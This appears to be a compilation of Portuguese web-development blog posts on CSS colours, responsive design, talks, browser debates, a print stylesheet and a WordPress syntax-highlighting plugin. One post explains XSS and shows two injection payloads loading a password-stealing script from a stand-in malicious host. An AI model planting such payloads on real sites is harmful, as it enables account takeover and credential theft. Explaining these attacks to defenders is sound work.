Aprenda os fundamentos: cores no CSS

Quando você se deparar com algum tipo de código, tenha a curiosidade de decifrá-lo.

Me impressiono com a quantidade de programadores que precisam escrever CSS com regularidade e nunca pararam para entender o significado dos código de cores.

É simples: uma cor RGB é composta de três números, representando as cores vermelho (R), verde (G) e azul (B). Cada um desses números pode ir de 0 a 255 (1 byte).

Então o vermelho vivo é:

rgb(255, 0, 0)

Que também pode ser escrito como:

rgb(100%, 0, 0)

Ou, em hexadecimal (255 = FF):

#FF0000

As cores que podem ser “arredondadas” para duplas de letras iguais, como essa, podem também ser escritas assim:

#F00

E é isso. Da próxima vez que você escrever uma cor, vai saber o que significa. Agora pesquisa sobre RGBA, você via ver como fica fácil entender.

Mas não é só sobre cores. Faça isso sempre que se deparar com qualquer tipo de código, tente entender o que ele significa, você vai gastar um pouquinho de tempo no início, mas a vida vai ficar muito mais fácil depois.

Yes we can! Minha apresentação no TDC 2015.

Agora que o Internet Explorer 8 morreu, e o número de usuários do Internet Explorer 9 é quase insignificante, há uma porção de recursos do CSS que finalmente podemos usar.

Essa é a primeira palestra de uma série, que inclui outros recursos do CSS, HTML5, SVG e Javascript. Em breve publicarei as outras, incluindo vídeos. Enquanto isso, veja os vídeos que publiquei recentemente:

Tudo tem que funcionar no celular

Mandei esse e-mail para o pessoal da Visie:

Pessoal,

Quando foi a última vez que você fez um site na Visie que não tinha versão mobile?

Então. Tudo tem que funcionar no celular. É praxe. O que não for responsivo é a exceção.

Então, ao receber um wireframe, layout ou especificação do projeto, não precisa perguntar: vai ser responsivo? Pode perguntar direto: onde está o layout mobile?

Ao estimar, planejar, projetar ou implementar qualquer coisa web na Visie, ter isso em mente vai evitar confusão. Lembre-se sempre: é sim responsivo, a não ser que alguém explicitamente diga o contrário.

Um [ ]!

Elcio

É, eu sei, não tem nada genial aí. Nem é “vanguarda”, todo mundo já trabalha assim há um tempão (ou não?) Mas para quem viveu o tempo dos layouts com tabelas para IE3 e Netscape 4, o simples fato de estar escrevendo essas palavras significa muito.

Valeu internet!

Acessibilidade para Twitter Bootstrap

Dica do Hans Mösl no grupo de trabalho de acessibilidade do W3C Brasil:

Plugin de Acessibilidade para Twitter Bootstrap. Plugin de código aberto, no GitHub. Promete tornar acessíveis uma porção de componentes Javascript do Bootstrap e, até onde eu consegui conferir, funciona muito bem.

Considere incluir em seu próximo projeto. Considere incluir nos seus projetos antigos baseados em Bootstrap 3. Considere incluir sempre.

Minha palestra no GAiN

Update: saiu o vídeo: Tendências para o futuro da Web: uma leitura a partir do trabalho do W3C – SAC/GAiN 2014.

Apresentei hoje cedo uma palestra no GAiN, um encontro de profissionais de comunicação e internet da minha igreja. Há um tempo que venho falando às pessoas que trabalham com internet na igreja sobre os padrões do W3C. Mas hoje tive a oportunidade de falar para gente que trabalha com isso de toda a América do Sul, de uma vez.

Muito obrigado aos organizadores pelo convite. Quem quiser conferir minha palestra no GAiN, sobre as tendências para o futuro próximo da web, pode encontrar a apresentação aqui: aqui.

Não sei se minha palestra foi gravada. Se eles publicarem lá, aviso por aqui.

Artigo recomendado: A simple (and very rough) responsive table solution

Tabelas responsivas de um jeito fácil:

“There are a lot of very clever responsive table solutions available now. There are solutions that flip the table on it’s side, convert it to a pie chart, gradually reduce the columns, allow users to determine columns, and even allow partial scrolling across the table. All of them are very clever.”

Leia mais: http://www.maxdesign.com.au/2013/03/22/simple-responsive-table/

Alta Performance com WordPress

O que vai acontecer com seu site WordPress se ele receber muitas visitas? Aprenda neste Workshop as técnicas e segredos para manter seu site no ar, mesmo sob intenso tráfego.

Site bom é site rápido

A Amazon fez um trabalho de redução do tempo de carregamento em suas páginas e descobriu que cada décimo de segundo que suas páginas demoram a carregar representa 1% a menos de vendas. Ninguém gosta de sites que demoram a carregar.

Pensando nisso, preparamos este Workshop sobre otimização de performance em websites, focado especialmente em sites WordPress. Veja o programa

Novo local

Redesenhamos os Workshops da Visie. Serão eventos de menor porte, num lugar mais adequado a cursos de tecnologia, e também mais baratos. E esperamos que sejam mais frequentes. O lugar escolhido foi o MyJobSpace, que merece um post a parte.

E o primeiro Workshop que faremos neste novo formato é sobre um tema que acho apaixonante: performance. O Workshop Alta Performance com WordPress vai mostrar a você tudo o que você pode fazer, no servidor, PHP, em seu tema, plugins, HTML, Javascript, CSS e imagens para ter um site muito rápido.

Como temos apenas 34 vagas, é bom você não vacilar. Inscreva-se.

HTML5 é mais que canvas

Acesse o HTML5 Please. Clique em use e dê uma olhada na lista. Agora clique em use with caution e confira a lista. Viu quanta coisa?

Por que a maioria dos exemplos de site em HTML5 brasileiros, dois anos depois de começarmos a usar esse treco, ainda são um mark-up levemente vitaminado e canvas?

Onde estão nossas aplicações offline? Web sockets? Drag-and-drop? Geolocation? Micro-data? Device orientation? Novos campos de formulário? SVG? History API?

Mas não tem demanda…

Você pode se desculpar por estar usando os mesmos velhos recursos de sempre, dizendo que os clientes da agência ou produtora onde você trabalha não querem os recursos novos, que seu chefe não quer saber dessas coisas, que tem trabalho pra caramba pra simplesmente recortar os layouts que recebe e não quer arrumar sarna pra se coçar…

Você vai mesmo querer passar o resto da vida recortando layouts? O mundo vai mudar, e você vai ser extinto, dinossauro. Se não tem demanda, crie a demanda. Comece a desenvolver projetos pessoais com o que você acha que seus clientes deveriam estar usando. Em seguida, mostre para todo mundo. Você vai ver se a demanda não aparece.

Todo mundo tem celular conectado. Todos os navegadores (até o IE) estão se esforçando para funcionar direito. É um momento mágico. É uma oportunidade que você não quer deixar passar. Um pouquinho de esforço aí, galera.

Sobre Windows, Linux, paixões e times de futebol

Discussões sobre o melhor sistema operacional, o melhor navegador ou a melhor linguagem de programação tendem a entrar em loop infinito. Cada um dos lados parece achar o outro um completo idiota por não se convencer de suas opiniões.

Semana passada troquei algumas mensagens com o René de Paula que me fizeram pensar bastante sobre o assunto. O René provavelmente não me conhece, mas eu tenho aprendido muito com ele nos últimos anos, principalmente em seu podcast, o Roda e Avisa. E esse post não é um desabafo “estou chateadinho”. Estou citando o nome do René porque a conversa se deu no Twitter, ou seja, em público, e realmente me fez pensar.

O René recomendou esse artigo da ZDNet, analisando um estudo de segurança dos navegadores web. O artigo começa apresentando os resultados do estudo, em que o Internet Explorer ganha de lavada, e segue explicando porque, na opinião do autor, o estudo patrocinado pela Microsoft é tendencioso e irrelevante.

Respondi ao René dizendo que concordava com o artigo que ele havia indicado, que realmente o estudo era tendencioso. E usei a frase “o rei está nu.” Para mim, a crônica da roupa nova do rei é uma excelente metáfora para a situação. Ele me respondeu que havia visto meu blog e que achava que havia um “viés oculto” em tudo o que eu dizia. Em seguida twittou sobre o fato de as pessoas tratarem essas discussões como se fossem sobre times de futebol. Isso me fez pensar um bocado.

Eu gosto de, numa discussão, ouvir o outro lado. Também gosto muito de lógica. Se tem uma coisa que eu vou defender numa discussão, mais do que meu time de futebol, é o bom uso da lógica. Tento nunca ser irrazoável. Sei que todos somos tendenciosos, mas sempre tento ser mais imparcial que a média.

Talvez seja o fato de a discussão ter acontecido no Twitter, meio pouco propício, mas confesso que fiquei muito preocupado com a impressão que o René teve. Quem me conhece, sabe, trabalho com Linux, Windows ou Mac, sem rabo preso, escolhendo sempre o jeito mais simples de resolver cada problema.

Cada cabeça, uma sentença

Em primeiro lugar, não há um sistema operacional “melhor” e outro “pior”. Há um “melhor para você”. O fato de aquele seu amigo usuário de Windows não ter enxergado ainda que o Linux é o melhor sistema operacional do mundo talvez seja porque, para o perfil de uso dele, o Windows seja realmente o melhor sistema operacional.

Dificilmente eu tento convencer alguém a usar exclusivamente Linux. Sempre tento convencer as pessoas a experimentar. Se o sujeito me diz que é um heavy gamer, por exemplo, recomendo o uso de Windows. Sei, o Wine está muito evoluído e tal, mas se ele tem dinheiro para pagar as licenças e pode rodar a versão mais nova de cada jogo no ambiente em que ele foi feito para rodar, por que complicar?

Sim, não me esqueci, para certos perfis de uso, Mac OS X também é um sistema fantástico. Estou quase comprando um para minha mulher.

Existem, porém, padrões absolutos

O fato de não existir uma solução “bala de prata” e a paixão que costuma cercar essas discussões têm levado muita gente, principalmente programadores, a uma posição morna tão irrazoável quanto os extremos. É comum ouvir frases como “a melhor linguagem é aquele com a qual você sabe trabalhar” ou “a melhor ferramenta é a que resolve seu problema.”

Acredito sim que há casos de uso os mais variados. Mas, dentro de determinado caso de uso, há métricas objetivas que você pode usar para dizer o que é melhor. Falando em linguagem de programação, por exemplo, a melhor não é aquela que faz você se “sentir bem”. A não ser que programar para você seja só um hobby, a melhor é aquela que vai te permitir resolver mais rápido o problema do cliente, com a qualidade e a performance necessárias.

Dado um determinado problema do cliente, e uma determinada métrica de performance, deve ser possível apontar a melhor linguagem para essa situação.

Que problema seu software se propõe a resolver?

Se você é desenvolvedor de software, é importante entender isso. Você dificilmente vai encontrar uma oportunidade de desenvolver um produto que é o melhor para todo mundo. Não há unanimidades.

Você pode desenvolver algo que é o melhor para a maioria, pode achar uma minoria endinheirada, ou pode desenvolver algo legal para você mesmo e torcer para que haja gente parecido com você lá fora.

Mas, se você tentar ouvir todas as sugestões que receber e superar os concorrentes em absolutamente todos os perfis de uso, nunca vai terminar de desenvolver.

Mente aberta

Na Visie hoje temos 7 máquinas Windows, 6 Linux e 3 Macs. Sem contar as VMs, o ambiente de testes, e os servidores onde estão hospedadas as aplicações. Desenvolvedor, abra sua mente. Aprenda uma linguagem de programação nova, experimente outro sistema operacional, teste outra solução. Você vai aprender muito.

Aprenda Python, Ruby, Haskell ou Scala. Isso vai tornar você um melhor programador PHP, Java ou .Net. Desenvolva um projeto com uma banco de dados não relacional (estou usando MongoDB em um projeto.) Se você ama WordPress, faça alguma coisa com Joomla, e vice-versa. Tente outro framework, outro editor, outro jeito.

Sobre navegadores

No dia seguinte a essa conversa estive no escritório do W3C Brasil, assistindo ao Café com Browser com o pessoal do Internet Explorer.

Eles passaram boa parte do tempo falando sobre os recursos do navegador para o usuário final. Coisas como abas (oh!) e favoritos mais legais, webclips, processos independentes em cada aba, melhorias de performance e segurança. Tudo muito interessante mas, eu acho, apresentado para o público errado. Estávamos dentro do W3C, afinal de contas. Queríamos saber sobre as melhorias para o desenvolvedor.

Ao final, a palestra sobre melhorias para o desenvolvedor foi, para mim, parte surpreendente, parte decepcionante. Me surpreendi principalmente pela reação dos desenvolvedores no Twitter. Muita gente não conhecia as developer tools do IE8, ou os modos de compatibilidade, por exemplo. Quando foi apresentado o querySelector, muita gente twittou revoltada, porque a Microsoft estava “inventando um novo jeito proprietário de fazer as coisas”. Gente, o querySelector é uma recomendação do W3C (está em Working Draft, mas está lá.)

A parte decepcionante, expressei em minha pergunta:

Em suma, não tenho ódio da Microsoft ou de quem quer que seja. Não quero que o Internet Explorer suma do mapa. Ainda tenho projetos em ASP, VB e .Net, e sou feliz com isso. Só quero poder desenvolver uma vez só minhas aplicações. Quero não ter que cobrar do cliente pelo custo de fazê-la funcionar no Internet Explorer. Quero entregar mais rápido aplicações melhores, mais estáveis, com menos código.

Palestra: construa seu validador de formulários

Algumas pessoas têm me escrito perguntando como extender o validador de formulários universal que publiquei há algum tempo. O manual do programador é um excelente recurso para isso.

Mas você que é de São Paulo, tem a oportunidade de ver tudo funcionando ao vivo. Nessa quinta-feira, na palestra “Formulários Definitivos“, vou construir um validador igualzinho a esse do zero, explicando cada conceito e o porquê de cada decisão no projeto.

Isso, entre outras coisas. Você também pode conferir o programa da palestra, e até quem sabe ganhar um ingresso grátis.

ClientSide: mostre seu código

Está lançado: clientside.com.br.

É um site para falar sobre Javascript, Ajax, CSS, XHTML[bb]. Mas não é um site para opinião e recomendações, é um lugar para você ler sobre código, ler código, e colaborar. O site é aberto ao cadastro e colaboração dos usuários, embora todos os artigos devam ser aprovados pelos editores. Entenda a política do site.

Se você já possui um blog ou site sobre o assunto, pode publicar seus artigos em seu próprio site e apenas um link com um breve comentário no ClientSide. Só não faça isso com cada um dos seus posts, apenas com os melhores. Não é um agregador. Se fosse, eu teria feito para funcionar sozinho. É um site onde você vai ler conteúdo especial, focado no assunto, que foi selecionado por seres humanos de um jeito que as máquinas (ainda) não sabem fazer.

Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

CSS de impressão no fechaTag

Acabo de criar um CSS de impressão para este blog. Levei uns dez minutos.

O código ficou assim:

form,#sidebar,iframe,#otop,#respond,.navigation,.rec6,.linkk{
display:none;
}
h2{
margin:0;
}
.entry{
line-height: 150%;
}
#header h1{
margin:0;
padding:0;
font-size:24px;
}
#header .description{
padding:0;
}
h2{
padding:40px 0 0;
margin:0;
}

E o resultado:

Em suma: você esconde tudo o que não pode ser usado ou não faz sentido no papel (menus, formulários, etc.) e tenta não atrapalhar o usuário. Aliás, não dá para fazer muito mais do que isso. Os mecanismos de impressão dos navegadores foram feitos para simplificar as páginas e economizar tinta.

Fácil, não?

Imite o Mac OS X você também

Dashboard, Exposè, estilo Aqua, tudo já foi copiado no elegante Mac OS X. Mas a marca registrada do sistema ainda é o Dock. Há uma porção de cópias interessantes para o Dock em diversos ambientes. Mas, com javascript e CSS, eu nunca tinha visto uma razoável. Até que vi essa aqui. Veja esse Dock rodando nesse exemplo.

Muito bom. Tanto o código quanto o resultado visual.

Ah, se você tiver um tempinho para estudar o código, vai passar a odiar um pouquinho mais o Internet Explorer 😉

Desafio dos 4KB

Momento Jabá: Quanta coisa você consegue fazer com apenas 4KB?

Crie uma página que faça algo impressionante com apenas 4KB de código. Pode usar HTML válido ou inválido, XML, Javascript, CSS e o que mais você quiser, desde que esteja tudo em uma única página. Nada de Flash, imagens externas, scripts externos ou Ajax. O resultado pode ser o que você quiser, desde que seja impressionante. Pode também funcionar apenas no Firefox, se você preferir. Afinal, você vai programar só por diversão.

Inclua a frase “Visie, ensinando os melhores”, publique em algum lugar e envie o link para a gente. Vamos mostrar para o pessoal da Visie e ouvir o “Uau!” da galera. A página que conseguir o maior número de decibéis na reação dos espectadores, a mais impressionante, a mais surpreendente, vai ganhar um curso online de Javascript Crossbrowser da Visie, para você ou para doar para alguém.

Para que todos possamos ver os trabalhos, deixe um comentário aqui com o link para o seu. Você tem até sexta-feira, às 11h da manhã para enviar seus impressionantes 4KB de código. Vamos começar a avaliação na sexta-feira ao meio-dia, e a hora em que vai sair o resultado depende da quantidade de participantes.

Vamos mostrar para esse pessoal boboca por aí que programar[bb] é muito mais divertido que ficar escrevendo frasezinhas de efeito.

Divirtam-se!

Google Code Prettify.

Agora este blog tem syntax highlight para os trechos de código que eu escrevo, por exemplo:

function Pessoa(nome,idade,email){
// Para criar as propriedades da classe usamos a palavra-chave this
this.nome=nome
this.idade=idade
this.email=email
// Não existe, em javascript, o conceito de método. Um método é uma
// propriedade como outra qualquer, cujo valor é uma função e,
// portanto, é executável.
this.digaOi=function(){
alert("Oi, eu sou "+this.nome+"!")
}
}

Levei dez minutos para fazer isso. Baixei e instalei a Google Code Prettify e escrevi um plugin do WordPress para adicionar a classe prettyprint a todas as minhas tags <code> e estava feito.

Instruções detalhadas:

Primeiro baixe esses dois arquivos e coloque-os em seu site. Pode ser no diretório raiz. Em seguida inclua no head de suas páginas:


<link href="prettify.css" type="text/css" rel="stylesheet" />
<script type="text/javascript" src="prettify.js"></script>

Você pode alterar o prettify.css para que fique com as cores que você desejar.

O passo seguinte é colocar onload="prettyPrint()" na tag body.

Agora é só substituir suas tags <pre> e <code> por <pre class="prettyprint"> e <code class="prettyprint">. Pronto, está funcionando.

WordPress

No WordPress você pode alterar o head de sua página e incluir o onload no body no editor de templates, editando o arquivo Header. Para incluir a classe em todas as suas tags code pode copiar o plugin abaixo:


<?php
/*
Plugin Name: Prettify
Version: 1.0
Plugin URI: http://blog.elcio.com.br/google-code-prettify/
Description: Prepares your code snippets to <a href="http://code.google.com/p/google-code-prettify/">Google Code Prettify</a>, adding class="prettyprint" to them.
Author: Elcio Ferreira
Author URI: http://blog.elcio.com.br
*/
function prettify($text) {
return str_replace('<code>','<code class="prettyprint">',$text);
}
add_filter('the_content', 'prettify');
add_filter('the_excerpt', 'prettify');
add_filter('comment_text', 'prettify');
?>

Você pode baixar esse plugin aqui.